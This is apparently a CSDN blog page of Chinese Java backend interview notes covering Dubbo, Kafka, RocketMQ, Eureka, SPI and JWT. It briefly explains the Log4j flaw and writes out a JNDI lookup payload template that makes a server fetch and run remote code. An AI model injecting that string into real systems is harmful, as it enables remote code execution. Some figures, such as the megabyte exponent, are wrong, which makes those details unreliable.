INT!`#$%^&*(

伊布拉西莫

已于 2023-07-24 08:45:03 修改

阅读量79

点赞数

分类专栏： # test 文章标签：笔记

于 2021-02-02 08:02:07 首次发布

本文链接：https://blog.csdn.net/it_freshman/article/details/105384118

版权

test 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

Dubbo相关

dubbo负载均衡策略(20.04.07)

缺省策略RandomLoadBalance
RandomLoadBalance
RandomLoadBalance 是加权随机算法的具体实现，它的算法思想很简单。假设我们有一组服务器 servers = [A, B, C]，他们对应的权重为 weights = [5, 3, 2]，权重总和为10。现在把这些权重值平铺在一维坐标值上，[0, 5) 区间属于服务器 A，[5, 8) 区间属于服务器 B，[8, 10) 区间属于服务器 C。接下来通过随机数生成器生成一个范围在 [0, 10) 之间的随机数，然后计算这个随机数会落到哪个区间上。比如数字3会落到服务器 A 对应的区间上，此时返回服务器 A 即可。

LeastActiveLoadBalance
LeastActiveLoadBalance 翻译过来是最小活跃数负载均衡。活跃调用数越小，表明该服务提供者效率越高，单位时间内可处理更多的请求。此时应优先将请求分配给该服务提供者。

LeastActiveLoadBalance 在实现上还引入了权重值。所以准确的来说，LeastActiveLoadBalance 是基于加权最小活跃数算法实现的。举个例子说明一下，在一个服务提供者集群中，有两个性能优异的服务提供者。某一时刻它们的活跃数相同，此时 Dubbo 会根据它们的权重去分配请求，权重越大，获取到新请求的概率就越大。如果两个服务提供者权重相同，此时随机选择一个即可。

ConsistentHashLoadBalance
一致性 hash 算法.
首先根据 ip 或者其他的信息为缓存节点生成一个 hash，并将这个 hash 投射到 [0, 232 - 1] 的圆环上。当有查询或写入请求时，则为缓存项的 key 生成一个 hash 值。然后查找第一个大于或等于该 hash 值的缓存节点，并到这个节点中查询或写入缓存项。如果当前节点挂了，则在下一次查询或写入缓存时，为缓存项查找另一个大于其 hash 值的缓存节点即可。

ConsistentHashLoadBalance 的负载均衡逻辑只受参数值影响，具有相同参数值的请求将会被分配给同一个服务提供者。ConsistentHashLoadBalance 不关心权重，因此使用时需要注意一下。 默认情况下只使用第一个参数进行 hash

RoundRobinLoadBalance
加权轮询负载均衡。
举个例子，我们有三台服务器 A、B、C。我们将第一个请求分配给服务器 A，第二个请求分配给服务器 B，第三个请求分配给服务器 C，第四个请求再次分配给服务器 A。这个过程就叫做轮询。
。
但现实情况下，我们并不能保证每台服务器性能均相近。如果我们将等量的请求分配给性能较差的服务器，这显然是不合理的。因此，这个时候我们需要对轮询过程进行加权，以调控每台服务器的负载。经过加权后，每台服务器能够得到的请求数比例，接近或等于他们的权重比。比如服务器 A、B、C 权重比为 5:2:1。那么在8次请求中，服务器 A 将收到其中的5次请求，服务器 B 会收到其中的2次请求，服务器 C 则收到其中的1次请求。

dubbo多机房网络不通 (20.04.07)

eureka多注册中心(衍生问题)

eureka:
  client:
    region: region1
    availability-zones:
      region1: zone1_1, zone1_2
    service-url:
      zone1_1: http://peer1:1111/eureka/
      zone1_2: http://peer2:1112/eureka/

一个微服务只能属于一个Region,如果不特别配置，默认为default通过euraka.client.availability-zones为Region指定特定的Zone,如果没有特别指定，则使用defaultZone
一个Region可以配置多个Zone
一个Zone可以配置多个Eureka Server Urls

在微服务使用Ribbion来实现服务调用时，Ribbion的默认策略，会优先访问通客户端处于同一Zone的服务端实例，只有当同一个Zone中没有可用服务实例的时候才会访问其他Zone中的实例。

数据库

联合索引-单索引查询(20.04.07)

算法

加密算法

HTTPS证书内容 (20.04.07)

加密算法-SSL

架构相关

领域驱动模型(20.04.07 ---- 20.06.08)

高并发场景

1. 访问接口频率限制
a. 前台限制 (点击后置灰)
b. 针对不同人对于相同的接口调用做频率限制，（人 + 方法名） ---- 分布式环境下，仅仅只做单jvm限制，因为如果单jvm情况下超过限制，分布式环境肯定也会超限。

2. 分布式锁
抽红包，分布式锁(redis set nx px)

数据库实现， zk实现。
https://blog.csdn.net/wuzhiwei549/article/details/80692278

3.线程池异步
后台耗时操作异步返回一个业务订单号，前台通过订单号轮询结果。
前台轮询 ----> SSE

方案选择的方法

消息队列选择

实际线上使用了 kafka和 rocketmq

kafka高吞吐量，
rocketmq 半消息

kafka的多文件并发写入 VS rocketMq的单文件写入

nosql数据库
2. mongodb — 最像关系数据库的nosql数据库，业务模型变动比较大，为了快速开发，使用
3. redis— 数据结构较Memcached 丰富

线上出现问题

服务降级、熔断。
- hystrix
- sentinel
问题分析定位
- 生产日志,日志分析
- 测试环境模拟操作流程，复现
- 生产环境jvm参数监控，如arthas

线上cpu占用率过高，如何定位问题

查找进程
top查看进程占用资源情况，明显看出那个进程占用过高CPU
查找线程
使用top -H -p <pid>查看线程占用资源情况
查看java堆栈信息
首先需要将上述的线程id10441转换为16进制。printf %x 10441，转换为28c9

然后，通过jstack 查看线程信息：

性能优化

logback异步写日志的实现原理 ---- 20.06.09

spring cloud 灰度发布、金丝雀服务发现的原理

nacos 灰度配置
灰度配置指的是指定部分客户端IP进行新配置的下发，其余客户端配置保持不变，用以验证新配置对客户端的影响，保证配置的平稳发布。
beta选项，将配置发布到指定的服务节点。

服务发现原理
服务发现，还是对Ribbon做修改.

首先在服务注册中心，对部分“上新”的服务节点，增加metadata,如version=123
前期问卷调查，对于期望参与新功能的人做标记，如添加到缓存
在nginx层，或者网关层，对2这些人的请求，增加请求头version=123
ribbon负载均衡寻找服务实例的时候，增加metadata 与version值匹配的校验

你有哪些擅长的技术

1.mybatis
自己实现了一套–mybatis动态sql组件。
mysql查询元数据插件。

2.zookeeper
自定义–基于zookeeper的配置中心(生产环境资源有限，申请资源比较困难)。

3.对数据查询优化有一定的方法论和实战经验

4. 对spring框架有过二次封装的经验
数据脱敏组件(spring MVC)，
自定义的安全框架(类似于spring-security，基于注解实现),
动态数据源路由(动态配置)

平时项目

两个人主要参与，当有新的项目过来时，去负责最初的需求分析、涉及，基础框架搭建、培训工作。
其他时间做基础组件的研究，以及负责线上难题的解决。
其他人相反，在项目闲暇时间来参与一部分研究。

2021-02-01-xf

zookeeper中master节点宕机重新选举过程

海量数据存储(两个大文件数据剔重)

BitSet

Byte = 8b
Integer = 32b
Long = 64b

Kb = 2^10b = 1024 			≈ 10^3
Mb = 2^10b = 1,048,576 		≈ 10^6
Gb = 2^30b = 1,073,741,824 	≈ 10^9 (十亿)

2.5亿数据,需要2.5亿bit位来标识, 大致0.25Gb内存。 
a. BitSet(2.5亿)
b. 用long数组存放,  2.5 亿 /64 = 4百万 Long[4百万]。

海量数据存储

zookeeper注册中心挂在之后，服务是否可以正常调用？有新的服务注册时如何处理？

可以调用。
新服务无法使用。

20210304

mysql 一张数据量很大的表结构变更

以user(uid, name, passwd)扩展到user(uid, name, passwd, age, sex)为例
在这里插入图片描述

mysql 事务隔离级别

mvcc+快照，解决不可重复读。
gaplock 解决幻读

nacos 和 zookeeper区别

https://my.oschina.net/u/867417/blog/1865971

2022-01-25 CSC

1. redis哨兵选举

2. oauth2 四种模式，code模式.

3. git为什么比svn建立分支快, rebase命令

4. SPI机制：Service provide interface

Java SPI是Java提供的一套用来被第三方实现或者扩展的接口，可以达到接口和实现类的低耦合等目的。
实际上是“基于接口的编程＋策略模式＋配置文件”组合实现的动态加载机制。

rt.jar中定义java.sql.Driver接口
mysql-connector.jar中创建META-INF/services/java.sql.Driver 文件，文件内容为：com.mysql.jdbc.Driver
连接池初始化，执行实例化com.mysql.jdbc.Driver.class;
DriverManager.registerDriver(new Driver()) 注册连接驱动class.
在4之前会触发DriverManager.loadInitialDrivers();，会触发ServiceLoader.load(java.sql.Driver),此步骤会触发，遍历jar包中META-INF/services/java.sql.Driver文件中内容，并初始化。

5. spring @autowired 原理

6. kafka reblance触发时机

参见：kafka-消费

a. topic新增分区
b. 消费组中有成员下线
c. 消费组增加消费者，且原有组中的消费者存在一个消费者消费多个分区的前提下，会触发。

7. log4j漏洞

log4j2的lookup功能，输出vm、os等信息。
a. 黑客定义远程方法，里面定义了一些业务操作，用来达到非法的目的。
b. 黑客通过特殊参数，传递如下信息${jndi:rmi://host:port/method}执行远程命令, 服务端通过lookup功能，下载并执行了a的代码(在服务端)，造成安全问题。

8.abac

9. rocketmq 半消息，事务处理

RocketMQ–消息类型#RMQ事务消息

发送方向消息队列 RocketMQ 服务端发送消息。
服务端将消息持久化成功之后，向发送方ACK 确认消息已经发送成功，此时消息为半消息。
发送方，执行本地事务。
发送方根据本地事务执行结果向服务端提交二次确认（Commit 或是 Rollback），
- 服务端收到Commit 状态则将半消息标记为可投递，订阅方最终将收到该消息；
- 服务端收到 Rollback 状态则删除半消息，订阅方将不会接受该消息。
在断网或者是应用重启的特殊情况下，上述步骤 4 提交的二次确认最终未到达服务端，经过固定时间后MQ服务端将对该消息发起消息回查。
发送方收到消息回查后，需要检查对应消息的本地事务执行的最终结果。
发送方根据检查得到的本地事务的最终状态再次提交二次确认，服务端仍按照步骤 4 对半消息进行操作。

10.kafka的高可用，isr

broker组成cluster集群，Broker端使用zookeeper用来注册broker信息,以及监控partition leader存活性.

Consumer端使用zookeeper用来注册consumer信息,其中包括consumer消费的partition列表等,同时也用来发现broker列表,并和partition leader建立socket连接,并获取消息。

ISR(In-sync Replica):Kafka在Zookeeper中动态维护了一个ISR,即保存同步的副本列表，该列表中保存的是与Leader副本保持消息同步的所有副本对应的代理节点ID。如果一个副本宕机或是落后太多，则该副本节点将从ISR列表中移除。

11.JWT

header.payload.signature

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret'); 
var jwt = encodedString  + '.'+signature ;